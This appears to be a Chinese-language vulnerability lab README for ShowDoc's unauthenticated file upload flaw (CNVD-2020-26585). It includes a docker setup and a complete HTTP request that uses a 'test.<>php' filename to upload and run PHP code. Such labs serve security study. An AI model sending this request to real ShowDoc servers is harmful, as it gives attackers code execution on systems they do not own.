Aaron
63285f61aa
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55 lines
1.5 KiB
Markdown
55 lines
1.5 KiB
Markdown
# ShowDoc 前台任意文件上传（CNVD-2020-26585）
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Showdoc 是一个开源的在线共享文档工具。
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Showdoc <= 2.8.6 存在uploadImg 文件上传漏洞，该漏洞源于未正确使用upload方法至文件后缀限制失效，攻击者可在未授权的情况下上传任意文件，进而获取服务器权限等。
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参考链接：
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- <https://github.com/star7th/showdoc/pull/1059>
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- <https://github.com/star7th/showdoc/commit/fb77dd4db88dc23f5e570fc95919ee882aca520a>
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- <https://github.com/star7th/showdoc/commit/e1cd02a3f98bb227c0599e7fa6b803ab1097597f>
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## 漏洞环境
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执行如下命令启动一个ShowDoc 2.8.2服务器：
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```
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docker compose up -d
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```
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服务启动后，访问`http://your-ip:8080`即可查看到ShowDoc的主页。
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## 漏洞复现
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发送如下请求上传一个PHP文件：
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```
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POST /index.php?s=/home/page/uploadImg HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0RdOKBR8AmAxfRyl
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Content-Length: 213
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------WebKitFormBoundary0RdOKBR8AmAxfRyl
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Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
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Content-Type: text/plain
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<?=phpinfo();?>
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------WebKitFormBoundary0RdOKBR8AmAxfRyl--
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```
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PHP文件路径将返回在数据包中：
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访问即可查看到`phpinfo()`执行结果：
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